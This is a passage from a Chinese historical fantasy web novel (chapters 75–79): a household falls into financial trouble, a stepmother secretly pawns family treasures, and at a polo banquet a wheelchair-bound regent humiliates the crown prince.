广海喉咙里发出野兽般的低吟,指尖骤然长出青黑色的利爪。 下一瞬间,温热的鲜血溅上佛龛,小沙弥的惊呼声卡在喉间,化作汩汩血泡。 血腥味在舌尖炸开的刹那,广海感觉崩裂的魂体终于有了缓解,温热的鲜血浇灭了魂体上灼烧的业火。 他紧扣着小沙弥的咽喉,贪婪地吞咽着温热的液体,直到那双清澈的眼睛彻底蒙上灰雾。 禅房里的烛火不知何时熄灭,唯有月光透过窗棂,将他身后的影子拉得极长 —— 那影子的轮廓分明多出了犄角和利爪,狰狞得不像人形。 "慕容浅。。。。。。" 他舔去指尖的血珠,声音里混着骨血交融的快意与剧痛,"待我修得完整魂体,定要将你抽筋剥魄!" 佛案上的观音像垂目悲悯,却照不进这满室的血腥与业障。 广海随手将尸体推入床底,僧袍上的血渍在月光下泛着诡异的颜色。 葛氏病倒后,整日躺在床上有气无力,药汤熬好了却喝不进去。 丫鬟们站在房门口都不敢大声喘气,生怕惊动了床上虚弱的主子。 慕容浅每日过来把脉喂药,可葛氏还是提不起精神,嘴唇苍白得像张纸。 祠堂塌了之后,老夫人明显也没了往日的精气神。 以前拄着拐杖还能在府里四处巡视,现在总爱坐在太师椅上发呆,眼睛浑浊得看不清东西,偶尔说起话来也是有一句没一句。 每天天还没亮透,就能听见她屋里传来断断续续的念经声,带着浓重的喘气声。她总是虔诚的跪坐在佛龛前,头发乱糟糟的也顾不上梳,手里的佛珠都被磨得发亮。 一日三餐都得丫鬟三催四请,端来的粥饭动不了几口。 老夫人就守着祠堂里的,香炉里头插满香,烟雾呛得人直咳嗽。 她边念边掉眼泪,念累了就对着香炉里的火星子发呆,嘴里嘟囔着 “对不住祖宗”“该遭报应”。 有次丫鬟进去添茶,见她攥着块碎瓷片发愣,那是祠堂塌时砸坏的供碗。 老夫人摸着瓷片上的花纹,突然嚎啕大哭起来,哭得直打嗝,把丫鬟吓得够呛,赶紧叫人来劝。 可劝也没用,过不了一会儿,她又抹着眼泪,继续有气无力地念起经来。 这下可好,侯府里一下子没了管事的人。 下人们私下里传得有鼻子有眼,有的说半夜撞见白影子在花园飘,有的发誓听见祠堂传来怪笑声。 厨房打杂的小厮端着盘子都心不在焉,好几次差点把菜打翻。 有人偷偷在门框上贴了符纸,第二天却发现符纸被撕成了碎片。 侯爷慕容延看着府里乱糟糟的样子,急得直跺脚。 他重重的拍在桌子上,大声吼道:"去把夫人请过来!再这么下去,侯府还不得乱成一锅粥!" 秦氏特意换了簇新的衣裙,摩挲着新涂的赤红蔻丹,铜镜里映出她勾起的唇角。禁足时每日数着更漏度日的憋屈,此刻都化作满心的得意。 丫鬟捧着首饰匣子候在旁,珠光宝气在晨光里晃得人眼晕,她故意把钗子拨的哗啦作响,这才满意的往议事厅去,廊下扫地的小厮都忙不迭低头避让。 可掀开议事厅的竹帘子,算盘珠子噼里啪啦的声响刺得她太阳穴直跳。 账房先生佝偻着背,面前摊开的账本,墨迹处处晕染记着府里又短了哪些用度。“前儿新来的厨娘卷着菜金跑了。” 管家擦着额头的汗,“还有西跨院的婆子们,为了分灶火差点打起来……” 秦氏的眉毛紧紧皱着,库房钥匙在袖中沉甸甸的,可打开账本看到亏空的红笔数字,却又觉得烫手。 “先去账房支五十两银子。” 她烦躁的吩咐“先给各院发月钱,再……” 话没说完,管家就苦着脸,“夫人,账上哪里还有多余的钱。” 秦氏扯下头上的金钗,重重的拍在桌上,“先……先拿去外面当铺,当点银子来应急。” 望着管家远去的身影,秦氏这才明白那沉甸甸的钥匙,原来是块烫手的山芋。 “母亲……”慕容笙看着脸色难看的秦氏,有些踟蹰。 但是明天就是马球宴了,她的衣服首饰还没有着落,不得不硬着头皮来找秦氏。 长公主府的马球宴比侯府之前办的海棠宴规格更高,受邀参加的都是皇亲贵胄,更何况窦娇娇已经给她下了死命令,必须在马球宴上表现出自己的价值,否则等待她的将是无情的抛弃和排挤。 第75章 库房 秦氏把算盘摔得噼里啪啦响,账册上刺目的赤字像长了獠牙的怪兽。 泡着的茶早凉透了,她抓过茶盏猛灌一口,却被苦涩的茶渣呛得直咳嗽。 管家弓着背候在门边,“夫人,铺子里又来催结年下的帐……” “催催催!当侯府有金山银山啊?不过迟些时候,短不了他们的!” 秦氏猛地站起来,裙裾扫翻了矮凳。 刚要发作,就见慕容笙缩着脖子蹭了进来,手指绞着帕子:“母亲……明天马球宴,我该穿什么呀?” 这话像火上浇了桶油。 秦氏太阳穴突突直跳,抄起案头的茶盏就想砸过去,瞥见女儿怯生生的眼神又泄了气。 她重重跌坐在太师椅上,扯松了盘得严实的发髻,“去我房里,首饰匣子开着,喜欢什么自己拿。” 说罢抓起账本狠狠摔在桌上,震得砚台里的墨汁溅了满纸,“挑完赶紧走,别在这儿添乱!” 秦氏掀开朱漆首饰匣时,金累丝凤钗在烛光下泛着冷硬的光。 慕容笙扒着匣 子瞅了两眼,突然红了眼眶,“这哪是小姑娘戴的?我要戴这个去,非被笑成老古板不可!” “胡说什么!” 秦氏深吸口气,从匣底翻出支点翠蝴蝶簪 —— 还是她及笄那年父亲送的,蓝绿色的羽毛早褪了光泽。 “这簪子多灵秀,当年……” “当年当年!” 慕容笙跺脚打断,“现在谁还戴点翠?前儿在街上看见个卖花的小娘子,戴的都是时兴的首饰,比这好看一百倍!” 话音未落,眼泪大颗大颗往下掉。 铜漏滴答声突然变得刺耳。 秦氏望着女儿发颤的肩膀,喉间涌起股酸意。 “好了好了别哭了,你且安心去睡,明儿早起之前,我必定给你置办好,行了吧。” 秦氏有力无气的打发她。 慕容笙抽抽搭搭离开后,秦氏瘫坐在太师椅上,盯着晃动的烛火发怔。 墙上的影子被拉得老长,像极了祠堂里倒塌的梁柱。她捏着被女儿嫌弃的凤钗,边缘硌得掌心生疼,忽然想起老夫人那间常年落锁的小库房。 更鼓声敲过三下,秦氏提着灯笼摸到小库房门前。 钥匙插进锁孔的瞬间,她听见自己心跳震得耳膜生疼。 推开厚重的木门,霉味混着樟脑气息扑面而来,檀木柜上积着薄薄的灰。 她颤抖着打开柜门,里头整整齐齐码着锦盒,掀开最上层,一对金器摆件泛着刺眼的光。 “我这也是没办法,等手头宽裕了再赎回来。” 秦氏声音发颤,把金器塞进袖中。 又翻出个镶宝石的项圈,刚要拿走,外头突然传来脚步声。 她慌忙把项圈塞回锦盒,转身时撞翻了旁边的盒子。 “谁在里头?” 守夜婆子的声音传来,秦氏急得直冒冷汗,抓起项圈就往怀里塞,裙摆被木柜钉子勾破也顾不上,跌跌撞撞从后门逃了出去。 回到自己房中,秦氏瘫坐在椅子上,听着窗外渐起的梆子声,项圈贴着心口,凉得她打了个寒颤。 她叫来心腹嬷嬷,连夜送出去典当,换了银子重新置办了一套时新的首饰衣裙。 晨光透过雕花窗棂洒在老夫人的紫檀木榻上,慕容浅等四人一起来给老夫人请安,然后就准备往长公主府去。 慕容笙戴着新置办的羊脂玉镯,绣着金线蝴蝶的襦裙随着步伐轻轻晃动,发间嵌着宝石的步摇更是璀璨夺目。 反观慕容浅素色襦裙配月白披帛,慕容玉一身半旧的藕荷色衣裳,慕容雪的淡青布裙连绣花都没几针,四人并排站着,对比格外刺眼。 老夫人恹恹的半躺在榻上,但是侯府四位小姐一起出门的大事,她还是强撑着精神细细打量四人。 一看,心头的火就忍不住。 “秦氏当的好家!眼里就只有自己肚皮里爬出来的,也不管其他几个姑娘,这样出去丢的还是侯府的脸!” 她气的浑身乱颤,一叠声的让人请侯爷来。 秦氏接到消息连忙赶来,一进门就陪笑。 “老夫人容禀……” 秦氏瞪了慕容笙一眼,这孩子就少交代一句都不行,就不能等出门了再把首饰穿戴上吗,非得到老夫人跟前现眼。 “上月祠堂修缮、二房医药,还有府里下人的月钱…… 实在是捉襟见肘……” 话没说完,老夫人指着慕容笙,“捉襟见肘?这浑身的珠光宝气是大风刮来的?当我老糊涂了?” 她气喘吁吁的让丫鬟去请慕容延,秦氏拦住丫鬟,咬牙道:“是儿媳疏忽,原是给几个姑娘都备了新衣裳首饰,只是工期紧,还没来得及……” “我不管!” 老夫人剧烈咳嗽着捶胸,“今儿,我要看到四个丫头穿戴得整整齐齐出门!要不然就都别去了,省的外人笑我们侯府嫡庶不分,偏心到了姥姥家!” 房里丫鬟们吓得大气都不敢出,唯有老夫人的怒骂声在空旷的屋子里回荡。 “母亲……”慕容笙眼泪汪汪的看着秦氏,今天要是去不成,她不是白准备了吗? 秦氏肩膀都垮了,“……儿媳这就去置办……” 出来的时候她就犯愁,拿什么置办,没别的法子,只能继续动老太太库房里的存货,还有她的首饰匣子,几乎都掏空了。 最终,姐妹四人出门的时候,人人都是簇新的衣衫,时新的首饰。 到了长公主府门口下车的时候,其他赴宴的人也都赶到了,大门口挤挤挨挨热热闹闹。 英国公府的马车刚停下,嫡长子萧承霁骑着高头大马自后面赶来,亲自扶着母亲下车。 英国公夫人下车的时候抬眼就看到侯府的四个姑娘下车,她扶着萧承霁的胳膊,站住了笑,“还是永宁侯府的风水养人,把姑娘们都娇养的花朵一般。” 慕容浅带着三人上前给英国公夫人行礼,又对萧承霁福了一福。 “见过世子。” 萧承霁也对四人回了一礼。 本朝民风开放,青年男女倒也不是不能见面,而且还有长辈在场,倒也不碍什么事。 英国公夫人意味深长的看了萧承霁一眼,拉过慕容玉的手,“玉姑娘,上次你送我的扇坠络子,我拿回去姑娘们喜欢的跟什么似的,哪天有空请你到我们府上,指点一下姑娘们的针法。” 第76章 照应 慕容玉脸庞染上薄红,细声细气的答道,“夫人过奖了,改天一定登门拜访,和诸位姑娘相互切磋。” 英国公夫人笑着又和她们寒暄了几句,便扶了萧承霁的胳膊进门去。 一边走,英国公夫人一边轻声和萧承霁说,“侯府这几位姑娘出落的真好,就是那位玉姑娘,身子骨看着弱不禁风,也腼腆,不像其他几个那么光彩夺目。” 萧承霁的脚步顿了顿,“山涧幽兰不争春,自有暗香盈袖。有些光彩,本就不必在人前张扬。” 英国公夫人斜睨着儿子,唇角勾起抹意味深长的笑:“往日听你抱怨,说闺阁女子不是弱柳扶风,就是扭捏作态,没半个入眼的。” 她轻笑 ,“怎的今日转了性子,倒夸起那不爱出头的慕容姑娘,还说什么暗香盈袖?” 萧承霁抿了抿唇,有些紧张的看了眼慕容玉所在的方向。 若是她听到了,不知道又要害羞成什么样,那么单薄的身姿,又有那么大毅力研究出失传的针法,可见是个外柔内刚的。 “母亲莫要打趣。” 萧承霁耳尖渐渐爬上薄红,“不过是就事论事罢了。” 夫人望着儿子不自在的模样,眼底笑意更浓,故意长叹着摇头:“瞧瞧,当年说女子无才便是德的威风劲儿,如今倒是半点也寻不着了。” 她心中暗笑 —— 这嘴硬的小模样,倒比那枝头将绽未绽的海棠花还要有趣几分。 萧承霁也笑微微的看着她,“母亲往日不是嫌马球宴太过聒噪,不愿意来吗?今年怎么老早就盼着,还必定要我护送,莫不是想借马球宴给自己找个称心如意的儿媳妇?” 英国公夫人掌不住大笑,伸手去拍他,“偏你这个猴崽子机灵,母亲的心思不说你也猜得到。” “说真的,” 他突然收了笑,斜倚着雕花栏杆,靴尖轻轻点着廊下石阶,“今日马球宴慕容家几位小姐独身赴会。” 腰带上的玉佩随着动作轻响,他挑眉看向母亲,眼尾的笑意里藏着几分认真,“若母亲肯赏脸照应,儿子明日就去城西给您淘那对您看上的波斯琉璃盏。” 夫人拿帕子掩着唇角,故意板起脸,抓起团扇就往他背上拍:“没个正形!谁稀罕你的琉璃盏。。。。。。” 话没说完就被打断。萧承霁早已翻身跃下回廊,落地时靴跟重重磕在青石板上,远远传来带着笑意的回应:“那就这么说定了!母亲记得帮衬着些……” 望着儿子策马远去扬起的尘埃,夫人捏着团扇摇头。 下人引着众人穿过长公主府,往后院走去。 慕容浅踩着青石板,随着下人指引往里走,一边打量焕然一新的公主府。 几日前那场变故后,府里的衰败气竟被一扫而空。 原先枯死的紫藤架下,新栽的蔷薇藤蔓正攀着竹篱疯长,粉白花瓣层层叠叠垂落,在风里晃成流动的云霞。 绕过九曲回廊,慕容浅停在半人高的太湖石旁。 往日荒草丛生的荷花池早被清理干净,新铺的鹅卵石岸边,铜钱草浮在水面挤成绿毯,几株睡莲怯生生地探出头,粉白花苞沾着晨露,处处透着鲜活。 隔着荷塘慕容浅就瞧见一团墨色影子蜷在歪脖子柳树上。 阿夜那身油亮的毛被阳光镀上层金边,尾巴垂在水面扫出细微波纹,正抱着前爪打盹。 她放轻脚步时,老柳树的枯枝突然咔嗒断了节,惊得猫耳倏地竖成三角。 那双琥珀色瞳孔缓缓睁开,懒洋洋转向她的方向。 慕容浅停在三步外,阿夜偏着头打量她,黑猫尾巴尖儿轻晃两下,那目光像通了人意般,冲她微微点了点头打了个招呼。 下一秒,它伸懒腰时爪子勾住柳枝,扑棱 带落几片花瓣。 慕容浅下意识伸手去接,再抬头时,只见黑影掠过睡莲丛,鱼群受惊般四散,唯有岸边鸢尾花簌簌颤动,黑色残影没入花丛中不见了踪影。 望着阿夜消失的方向,慕容浅指尖似乎还留着花瓣的残香。 池塘里的睡莲轻轻摇晃,将满池天光搅成细碎的金箔。 风掠过蔷薇花架,送来阵阵清甜。 慕容浅嘴角不自觉上扬,原来生命的转机总在不经意间到来。 府里焕然一新的景致,仿佛在诉说着主人重燃的生机。 想来有阿夜常伴身侧,再漫长的黑夜,也会变得温暖而不再孤寂吧。 五月的京城,骄阳似火,蝉鸣聒噪。 长公主府的马球场上,彩旗飘扬,人声鼎沸。 慕容浅姿态翩然,旁边跟着侯府的三个妹妹。 慕容玉温婉娴静,眉眼间尽是温柔,此刻正细心地整理着慕容雪的裙摆。 慕容雪活泼灵动,一双大眼睛滴溜溜地转,好奇地透过张望着四周的热闹景象。 而慕容笙则神色冷淡,眼中闪过一丝不易察觉的阴鸷。 “大姐,听说今日摄政王和太子都会来,也不知道是真是假。” 慕容雪兴奋地说道,打破了的寂静。 慕容浅轻轻一笑,“想必是真的,长公主殿下举办的马球宴,他们又岂会缺席。” 暮春的阳光透过垂丝海棠的枝桠,在青石板路上洒下细碎的光斑。 马球宴设在马场东侧的玲珑阁,三层重檐小楼朱栏玉砌,飞檐下悬着的铜铃随风轻响。 二楼的雕花窗半开半掩,湘妃竹帘上绣着并蒂莲的暗纹,既遮挡了烈日,又能隐约窥见楼下的热闹场景。 推开镂花木门,只见八张紫檀木案几沿着回廊整齐摆放,每张案几上都铺着月白色的桌布。 青玉碟里盛着晶莹剔透的水晶糕、撒着玫瑰花瓣的芸豆卷,白瓷碗中漂浮着新鲜的莲子,茶汤里还缀着几颗红艳的梅子。 香炉中升起袅袅青烟,龙涎香混着案头青瓷瓶里的芍药花香,在空气中弥漫开来。 墙角的冰鉴里堆满了冰块,凉意沁人,将暑气驱散得无影无踪。 楼下的马场上,黄沙被碾得平整如毯,四周插着五彩旌旗。 随着一声清脆的铜锣响,十几名青年公子骑着高头大马奔腾而出。他们身着月白、绛红、黛青等各色锦袍,腰间的玉佩随着马匹的奔跑叮咚作响。 第77章 吃瘪 为首的萧承霁一袭银灰劲装,乌发束在白玉冠中,手中的枣木球杆挥舞如飞,长身玉立的身姿引得楼上少女们频频侧目。 玲珑阁内,世家贵女们三三两两地坐在案几旁,手中的团扇轻轻晃动。 慕容浅坐在临窗的位置,素色襦裙上的暗纹在光影中若隐若现。她望着楼下飞驰的身影,忽然瞥见萧承霁回首一笑,目光似乎穿过竹帘与小楼中的人相接,又很快转向别处,只留下一抹心跳的余韵。 慕容雪趴在雕花栏杆上,杏眼亮晶晶的,不时发出惊叹声。 慕容玉则安静地坐在一旁,耳尖却因场中少年的身影微微泛红。 贵女们的窃窃私语、铜铃的叮当声、马匹的嘶鸣声,与远处传来的羯鼓声交织在一起,构成了一幅春日宴游的美妙画卷。 阳光渐渐升起,马球场上的人影被拉得长长的。 少年们策马扬鞭的英姿,少女们含羞带怯的目光,在这半遮半掩的光影中,流淌着青春独有的青涩与朦胧,仿佛一幅未干的水墨画,晕染出无尽的遐想。 一片岁月静好的画卷中,偏有人要煞风景。 "我当是谁来了,原是侯府四位姑娘。" 窦娇娇的声音传来,不大不小,恰好让席间的人都能听到。 "听说侯府最近热闹得很 —— 老夫人卧床不起,二房夫人撞邪发疯," 她故意拖长尾音,指尖轻点茶盏,"四位姑娘竟还有闲心来马球宴,难道是迫不及待想嫁出来?" 身后的侍女们跟着掩嘴窃笑,帕子也挡不住眼底的轻蔑。 慕容雪气得小脸通红,往前跨了一步,却被慕容浅不着痕迹地拦住。 慕容浅抬头直视窦娇娇,"郡主消息灵通,连我家后院的事儿都一清二楚。" 窦娇娇看了缩在后面的慕容笙一眼,哼笑,“整个上京还有谁家不知道你家那点破事,都当个笑话传呢。” “是吗?我怎么从没听说过?” 英国公夫人笑眯眯的开口,堵死了窦娇娇的话。 她放下茶盏,目光似笑非笑地掠过窦娇娇的脸,"女子当以贞静为本,整日嚼人舌根、议论内宅是非,这才叫旁人看了笑话呢。" 窦娇娇刚要开口,瞥见英国公夫人身后跟着的几位宫里出来的嬷嬷,到嘴边的话又咽了回去。 英国公夫人虽只是轻描淡写几句话,可诰命夫人的身份压下来,就像块沉甸甸的青石砸在心头。 若真撕破脸争执,外头人只会说她不尊重长辈、口无遮拦,这对待字闺中的姑娘家来说,无异于往名声上泼脏水。 窦娇娇气哼哼的把脸转了过去,不再搭话。 英国公夫人轻挽起慕容浅的手腕,指尖的温度透过薄纱传来暖意,将她们往自己的座位旁带。 她示意丫鬟添来新茶,白玉茶盏里浮着几朵茉莉,“长公主特意选在暮春办这场宴,原是让大家赏荷听曲,可不是来看人红脸白脸的。” 慕容雪悄悄蹭到她另一侧,发间银铃随着动作轻响。 英国公夫人笑着捏了捏小姑娘的脸颊:“瞧瞧这委屈的小嘴,都能挂住油瓶了。” 她转头看向始终沉默的慕容玉,将案上一盘水晶糕推过去,“好孩子,莫要往心里去。” 慕容玉福身时险些红了眼眶,夫人身上的檀香萦绕鼻尖,让人心安:“多谢夫人解围。” 她抬眸望见夫人鬓边的珍珠步摇,突然想起方才窦娇娇吃瘪的模样,心底的郁结化作轻笑溢出,“倒是让夫人见笑了。” 马球场上的喝彩声隐约传来,英国公夫人摇着团扇,目光扫过回廊外盛放的蔷薇:“这世上总有些人爱嚼舌根,不必理会。” 她的声音放得更柔,“你们只管安心玩乐,有我在这儿。” “浅浅,你们可算来了!” 一道爽朗的声音传来,只见长公主身着一身火红的骑装,英姿飒爽地向她们走来。 慕容浅站起行礼,“见过长公主殿下,让殿下久等了。” 长公主笑着拉起慕容浅的手,“跟本宫还客气什么,今日只管尽情玩乐。” 她目光扫过慕容浅身后的三个妹妹,点头示意。 慕容笙见状,立刻上前,娇声说道:“长公主殿下,听闻今日有马球比赛,我自小就对马球感兴趣,不知能否一睹殿下和各位公子小姐的风采?” 长公主挑眉,“自然可以,若是你有兴趣,也可下场一试。” 慕容笙脸色微变,连忙推辞:“我哪有那个本事,只是观赏罢了。” 此时,人群中突然骚动起来。“摄政王到!” 随着一声通报,八名玄甲侍卫如铁铸般分两侧排开,玄色劲装上暗绣的花纹在日光下泛着冷芒。 他们腰间的佩刀尚未出鞘,却已让周遭空气都凝出寒意。 紫檀木轮椅碾过青石板的声响清晰可闻,轮椅扶手缠着金丝云纹,其上之人身着月白织金长衫,银线绣就的蛟龙在衣摆翻涌,腰间羊脂玉佩折射出温润光泽。 明明是倚着软垫半靠的姿态,脊背却挺得笔直,苍白如纸的面容上,那双凤目却盛着鹰隼般的锐利,扫过之处,众人不由自主屈膝行礼。 慕容浅望着裴子慕,虽身有残疾,却难掩王者之气,所到之处,众人纷纷行礼。 又是一声通报,"太子殿下到 ——" 清朗的传呼声惊起檐下白鸽,太子身着月白绣云纹锦袍,腰间白玉环佩随着步伐轻晃,唇角噙着恰到好处的笑意,行走的姿态尽显温润如玉。 他身后簇拥着数位世家公子,皆是京城有名的贵胄子弟,众人或执折扇,或佩香囊,谈笑间似有春风拂面。 "皇叔安好。" 太子缓步上前,弯腰行礼时广袖如流云般垂下,发冠上的东珠在阳光下折射出柔和光晕。 然而慕容浅垂眸之际,却瞥见他袖中紧握的拳头 —— 指节因用力而微微发白,转瞬又化作轻抚腰间玉带的闲适模样。 轮椅上的裴子慕微微颔首,苍白面容上神色莫测。 他指尖慢条斯理地摩挲着轮椅扶手的花纹,凤目中闪过一丝冷芒:"太子今日倒来得早。" 话音未落,太子已直起身来,笑意不减却难掩眼底的阴鸷:"听闻皇叔也许久未赏这春日盛景,侄儿特意早些赶来作陪。" 第78章 交锋 裴子慕与萧瑾卿对视一眼,空气中仿佛有火花闪过。 场中气氛骤然凝滞。 慕容浅能感觉到两方交汇的目光中暗藏锋芒,太子身后的贵公子们虽仍维持着微笑,却不自觉地绷紧了脊背。 唯有萧承霁倚着廊柱,把玩着腰间的香囊,似笑非笑的目光在两人之间流转,倒为这场暗流涌动的对峙添了几分戏谑。 青石板上光影斑驳,几位世家公子互递眼色后,齐齐抱拳笑道:“太子殿下骑术超群,今日可要在马球场上一展风采!” 话音未落,萧瑾卿已转身面向轮椅上的裴子慕,眼底闪过一丝不易察觉的算计:“皇叔既来了,不如与侄儿同场竞技?” 话落,场中瞬间寂静如死水。 太子露出懊恼神色:“瞧我这记性!竟忘了皇叔腿脚不便……” 他垂首时额前碎发挡住了嘴角扬起的弧度,“是侄儿失言,还望皇叔恕罪。” 轮椅上的裴子慕指尖轻叩扶手,苍白面容毫无波澜,他忽然轻笑出声,苍白的唇角勾起一抹若有似无的弧度:"太子一片孝心,我若不下场,反倒是扫了你们的兴了。"“ 这话惊得众人倒抽冷气。 太子脸上的假笑瞬间凝固,袖中的手指死死攥住。 萧承霁摩挲香囊的动作一顿,目光饶有兴味地落在裴子慕身上。 只见轮椅缓缓转动,那人挺直脊背,唯有凤目泛起冷冽的光。 侍卫们将骏马牵至场中,枣红、墨玉、银白各色良驹打着响鼻,马蹄不安地刨动黄沙。 各家公子笑着争抢缰绳时,萧瑾卿却踱步至轮椅旁,目光落在裴子慕的腿上,面上浮起关切:"皇叔这……该如何上马?" 他语气里带着恰到好处的犹豫,"若伤到筋骨,侄儿万死难辞其咎。" 侍卫们想要上前搀扶裴子慕,却被他抬手止住。 他倚着轮椅扶手微微前倾,苍白指尖叩击扶手:“不必换马 —— 本王就用这轮椅,与诸位同场尽兴。” 这话惊得太子瞳孔骤缩,面上却忙堆起惊慌神色:“使不得!侄儿不过是随口一提,若伤到皇叔……” 话音未落,轮椅突然碾过碎石向前滑动,摄政王冷笑打断,凤目如淬了冰的刀锋:“太子若有那本事伤到本王,” 他抬手轻抚轮椅上盘绕的螭纹,“倒算你长进了。” 裴子慕的话如淬了冰的刀刃,直刺得萧瑾卿喉头发紧。 他攥着缰绳的指节泛白,面上却仍强撑着笑意:"既然皇叔执意要比,那侄儿就奉陪。" 说罢猛地翻身上马,玄色锦袍扫过马鞍,发冠上的东珠剧烈晃动,映出他眼底转瞬即逝的阴鸷。 马球场上的黄沙被马蹄扬起,各家公子见状纷纷驱马入场。 萧瑾卿握紧枣木球杆,故意在经过裴子慕座驾时放缓速度:"还请皇叔小心,莫要闪了筋骨。" 话音未落,轮椅突然如离弦之箭滑出,轴承转动声中,裴子慕苍白的脸上浮起冷笑:"太子若真有闲心,不如多顾着自己手中的球杆。" 日头攀上中天,马球场上蒸腾的暑气被一阵烈风卷散。 随着铜锣轰然作响,两队人马如离弦之箭疾驰而出。 萧瑾卿锦袍翻飞,龙纹在日光下刺目,他手中枣木球杆狠狠击向彩球,却见一道黑影如鬼魅般横截而来。 裴子慕倚在特制轮椅上,金丝缠绕的扶手化作握杆,苍白指节暴起青筋。 轮椅底部暗藏的机关骤然发力,竟比骏马更灵巧地转向,铁制轮轴碾过黄沙,溅起的碎屑中,他袖中甩出的银丝精准缠住彩球,手腕轻抖间,球已如流星般飞向己方队员。 “好!” 萧承霁倚着廊柱拊掌大笑,玉色锦袍猎猎作响。 慕容浅攥紧栏杆,看着轮椅在马群中穿梭自如 —— 裴子慕的脊背始终挺得笔直,每当与太子的马匹擦身而过,他凤目中迸发的冷芒,比烈日更灼人。 "拦住他!" 萧瑾卿暴喝一声,身后五位世家公子驱马成阵,马蹄扬起的沙尘遮天蔽日。 而萧瑾卿则面色阴沉如雷,扬鞭催马直扑中场。 他身后世家公子组成的人墙层层围堵,却见裴子慕突然抬手,三枚银针破空而出,钉在最前方马匹的鞍垫上。 受惊的骏马人立而起,瞬间撕开防线缺口。 轮椅借着惯性腾空而起,裴子慕单手撑住轮椅边缘,另一只手的球杆划过完美弧线,彩球应声落入门洞。 全场寂静如死,唯有轮椅落地时的闷响。 裴子慕擦拭着球杆上的灰尘,苍白唇角勾起嘲讽:“太子这‘护驾’的阵仗,倒比圣上亲征时还威风。” 萧瑾卿紧紧握住缰绳,却只能望着对方轮椅远去的背影,将羞辱尽数咽进喉间。 烈日将马球场的黄沙晒得发烫,萧瑾卿翻身下马时,锦袍上的花纹依旧泛着矜贵的光泽。 他抬手理了理被风吹乱的发冠,唇角勾起标志性的温和笑意,缓步走向场中轮椅。 "皇叔好手段,侄儿甘拜下风。" 萧瑾卿抱拳行礼,广袖如流云般垂下,发冠上的东珠折射出温润光晕。 他弯腰时,眼中却翻涌着阴鸷的暗芒,"今日这场较量,倒让侄儿想起幼时皇叔教我骑射的场景,恍如昨日。" 裴子慕倚在轮椅上,苍白手指把玩着腰间的蟠龙玉佩,凤目漫不经心地扫过对方紧绷的下颌:"太子记性不错,只是当年教你的,可不止马球。" 他忽然轻笑出声,药香混着沉水香扑面而来,"看来太子还需多练,不然连我一个残疾之人都斗不过,将来凭什么开疆扩土?" 萧瑾卿依旧维持着得体笑容的面容,袖中的拳头却死死攥着,指节泛白,在玄色锦缎下凸起狰狞的弧度。 当他转身离去时,嘴角的笑意瞬间垮塌,眼底翻涌的杀意几乎要破眶而出。 雕花栏杆后,贵女们攥着团扇的手微微发抖。 往日听闻摄政王嗜杀成性,动辄将俘虏枭首示众,连京中流传的话本都把他描绘成青面獠牙的恶鬼。 可此刻阳光下,那人倚着轮椅抬手擦汗,苍白指尖拂过眉眼的刹那,惊得众人倒抽冷气 —— 传闻里的 "大魔王" 竟生得这般俊美,眉若远山含黛,眼尾微挑似淬了霜的剑。 第79章 暗斗 "这……这与说书先生讲的全然不同!" 陈御史家的千金呢喃,她分明记得半月前诗会上,众人还在传阅描写摄政王剜敌双目、饮血止渴的诗作,此刻却见那轮椅在马群中灵巧穿梭,轮轴带起的风掀动他长衫,反倒衬得气质愈发冷冽矜贵。 少女们红着脸交头接耳,想起平日听说北疆蛮族称摄政王为 "修罗王",原以为是形容他残暴,此刻见他单手撑着轮椅腾空击球,衣袂翻飞间竟有谪仙之姿,才惊觉这称号或许更因他战场上的飒爽英姿。 当彩球落入门洞,全场寂静如夜。 不知谁的团扇坠地,惊醒了这场怔忪。 贵女们望着那人慢条斯理擦拭球杆的模样,突然发现传闻里的暴戾似乎都化作了眉眼间的冰霜。 畏惧仍在心底蔓延,可藏在团扇后的目光,却不自觉多了几分偷偷的打量与倾慕。 而看向太子时,眼神又不一样了。 往日她们谈论起太子,总将 "温润如玉"" 天家典范 " 挂在嘴边,闺房里流传的画像上,萧瑾卿身着明黄龙袍的模样曾令多少少女心折。 可此刻他攥着球杆的指节发白,锦袍沾着沙尘,勉强扯出的笑容比哭还难看。 "这就是传闻中最有贤名的储君?" 不知谁轻声呢喃,在死寂的看台上激起细微涟漪。 那个坐着轮椅却在马群中如游龙般穿梭的身影,与眼前神色阴沉的太子形成刺眼对比。 没想到这位竟连残疾的皇叔都赢不得,纱帐后传来不知谁的压抑的叹息,满是失望。 "殿下息怒!" 兵部侍郎之子赵砚洲小跑着凑到萧瑾卿跟前,折扇殷勤地扇起凉风,"不过是场游戏,那裴子慕不过是个瘸子,若不是靠机关奇巧的轮椅,怎么可能赢过您!" 他压低声音,眼中闪过狠厉,"您可是真龙天子,天命所归!他就是再嚣张,也越不过您的尊贵!" 萧瑾卿喉结动了动,嘴角扯出一抹比哭还难看的笑。 他抬手接过侍从递来的汗巾,指尖却将布料攥得发皱,目光死死盯着远处被众人簇拥的裴子慕。 那人正半倚在轮椅上,苍白手指慢条斯理地擦拭着沾了沙尘的扶手。 萧瑾卿转身走向休息区,靴底碾过地上的彩球,皮革发出细微的吱呀声。 回廊阴影吞没他身影的刹那,攥着汗巾的手突然狠狠砸向立柱,檀木表面应声出现一道裂痕。 赵砚洲慌忙张望四周,见无人注意,才凑近低声劝慰:"来日方长,等殿下登基……" 话音未落,太子已甩袖走进内室,门帘重重落下,惊得檐下铜铃叮当作响。 雕花木门关上的一瞬间,萧瑾卿一脚踹翻矮凳,锦袍下摆扫落案上的青瓷茶盏,碎片飞溅间,他死死攥住桌沿,指节泛白。 "他竟然如此折辱我!" 他猛地掀翻整张檀木长案,果品糕点洒落满地,"不过是个残废,端着摄政王的架子,真当自己是天潢贵胄了?" 他来回踱步,发冠歪斜,东珠随着剧烈动作摇晃不止,"若非父皇心慈手软……" 话音戛然而止,喉间溢出压抑的低吼。 赵砚洲缩在角落,大气也不敢出。 直到萧瑾卿抓起案上的羊脂玉镇纸狠狠砸向屏风,翠玉碎裂声中,才小心翼翼凑上前:"殿下息怒……" "息怒?" 萧瑾卿猛然转身,猩红的眼底燃着怒火,"本太子还要忍到何时?!今日当众折辱,明日是不是要骑到本太子头上?" 赵砚洲 "扑通" 一声重重跪伏在地,额头紧贴着冰凉的青砖:"殿下!千万要忍啊!" 他声音发颤,余光瞥见萧瑾卿紧握的拳头,"皇后娘娘早就叮嘱过,摄政王不能死!您忘了吗?北疆战事未平,朝中武将大半听他调遣。" 萧瑾卿的袍角扫过他的脸,龙纹刮痛他,可赵砚洲躲都不敢躲。 